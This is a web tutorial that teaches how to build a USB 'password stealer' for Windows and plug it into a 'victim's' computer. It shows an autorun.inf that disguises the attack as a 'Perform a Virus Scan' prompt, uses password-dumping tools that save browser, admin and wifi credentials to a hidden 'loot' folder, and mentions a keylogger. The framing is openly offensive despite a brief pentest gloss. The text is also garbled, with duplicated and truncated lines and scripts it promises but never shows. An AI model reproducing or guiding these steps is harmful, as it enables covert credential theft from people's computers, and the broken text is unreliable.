How To Make a USB Stealer To Hack Passwords

1)USB stealer

USBStealer is a Windows Based USB Password Hacker Tool that helps you to hack and extract the password from Windows-Based Applications such as Chrome Password, Firefox Password, NetPassword, Admin passwords of the Windows Computer as well as wifi passwords stored on that system.

You can download this software from the official GitHub page of the project.

Note: For this hack to work, we need a windows system. Windows is, after all, most vulnerable to viruses. Admin Access is recommended for this script to show all the data. It is not compulsory, but most of the functions require administrator privileges Execute this Password Hacker tool and crack the password to perform the pentesting operation

Step 1: Download the USB Hacking Script

Download the software by clicking on the download link on the Github project.

Step 3: Execute the USB Hacking script

Connect the USB to the victim`s system. Now click on lasagna.exe.

Step 4: Enjoy the loot

Once you run the file, all the passwords on the system will be saved into a hidden folder with the named loot.

Step 5: Disconnect

Disconnect the Pendrive from the system.

Disconnect the Pendrive from the system.

You can Access all the hacked Passwords using notepad, as shown below on your Pendrive inside the loot folder. Hacking websites like Facebook and Instagram is nothing for this software.

It pretty much hacks all the passwords on a Window

It pretty much hacks all the passwords on a Windows system. Now you know how hackers hack windows pc with nothing but USB.

But what if you wanted to automate the attack even further.

Well, why not.

Step 1: New Text Document

Create a Text Document inside the USB by right-clicking on the white space, clicking on New, and selecting Text Document.

Step 2: Autorun Script

Step 2: Autorun Script

Add the following lines of code to the text file and save it as autorun.inf

[autorun] open=bitch.bat ACTION= Perform a Virus Scan

If you cannot see the .txt file extension at the end of your new document file, then you need to manually disable the windows feature Hide file extensions on the system. You can find it in the view section, as shown below.

Go to my computer (This PC) >

View>

Filename extensions

Step 3: Autorun Pop Up

Step 3: Autorun Pop Up

Now, when you insert the pen-drive/ USB into the windows system, the autorun script will execute and a window will pop-up asking the victim(or you) to perform a virus scan.

Step 4: Perform a virus scan (Run script sneakily)

On the pop-up window, select the first option, which is to Perform a Virus Scan.

Step 5: Enjoy automated loot

Now all the password hacking scripts will silently get executed in the background and just like before all the passwords will be saved in the loot folder in the form of a TXT file.

Congrats you have successfully hacked a windows pc with a USB Pendrive just like how Mr robot does in the famous tv show.

Now for the second method

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Step 3: Copy .exe files to USB

Download all the tools you have downloaded in the first step, extract them onto any folder. Now, copy only the executable files (.exe files) onto your USB Pendrive.

i.e., Copy the files – mspass.exe, mailpv.exe, iep

i.e., Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe, and passwordfox.exe on your USB Drive.

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Step Two: Automate the Tools to Work With One Click (XP and Vista Only)

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Next, we're going to set up a script that runs all these utilities at once—allowing you to grab a giant cache of stored passwords in one click (though it only works properly on Windows XP and Vista, so if you're only using this on Windows 7 and above, you can skip this step). Open your text editor, and for each file you downloaded, write this line of code in one text file:

Replace "filename" with the name of the executable you just downloaded, including the file extension. When you replace "filename" after the slash, you will change the .exe to a .txt file extension. This is the password log the executable will create for you to see. A finished script should look like this:

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Once you're done writing the script, save the file as Launch.bat in the Utilities folder you created.

Steps to create a portable USB memory and extract data and valuable information

Today we will explain how to create a USB that will automatically run and recover or save all the information on your computer automatically , just by connecting it to your PC, without having to touch anything at all. which includes a keylogger function that records everything you press on your keyboard in a file with the extension .txt , while the USB is connected to the PC.

First you have to insert the pen drive to format it, right click on the drive and then format it, you can format it in NTFS or in FAT32 , although the latter is the most recommended.

 Open the  notebook  or some similar program and w

Open the notebook or some similar program and write the following:

You save the file by giving it the name AUTORUN.inf ​​ and leave it inside the USB. You go back to the notebook to create another file, this time you write the following:

Then you save the file with the name LAUNCH.bat and also leave it on the USB.

Once you have both files created, it is time for to download some add-ons to make your USB a cyber spy that can steal information from the most rigorous security systems.

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Visit the website to download the following utilities:

  • MSpass
  • Mailpv
  • Iepv
  • PSPV
  • PasswordFox
  • OperaPassView
  • ChromePass
  • Dialupass2
  • Netpass
  • WirelessKeyView
  • BulletsPassView
  • VNCPassView
  • OpenedFilesView
  • ProductKey
  • USBDeview

You must unzip them in the root of the USB and it would look as you can see in the image:

 Now unzip all the tools and  hide all the files ,

Now unzip all the tools and hide all the files , being as follows:

You remove the USB from the computer and reinsert it, so you can verify that it is working, if everything went well you will appear the following lines in the .txt .

Step 3: Test Your New Password Stealer

Step 3: Test Your New Password Stealer

Now you will be able to recover the usernames and

Now you will be able to recover the usernames and passwords from each of these programs. They will create detailed logs that show you the password, username and source (like the Network name or website URL), which is all you really need to do damage. There’s also the date the password was created, password strength, and other information depending on the program. Here’s how to test your new password stealer to see how many passwords you’ve left vulnerable on your PC.

XP and Vista: Run the Script

Click the launch.bat file you just made to launch it. The password logs will appear in the Utilities folder as .txt files alongside the original executables. Each will have the same name as the .exe file they’re sourced from. For example: the ChromePass.exe file will have a ChromePass.txt file that houses all of the recovered passwords and usernames. All you have to do is open the .txt files, and you’ll see all your passwords.

Windows 7 and Above: Run Each Password Recovery App Individually

If you use Windows 7 or above, the script won’t work for many of the apps, so you’ll need to open them up individually. Double-click on each program and the list of passwords will pop up in a window. Select all that you want to save, and go to the File menu, and save the log as a .txt file in the original Utilities folder you created on your flash drive.

Use these logs to see for yourself how many passwords you’ve left vulnerable on your system. It’s remarkably easy to find and take them!

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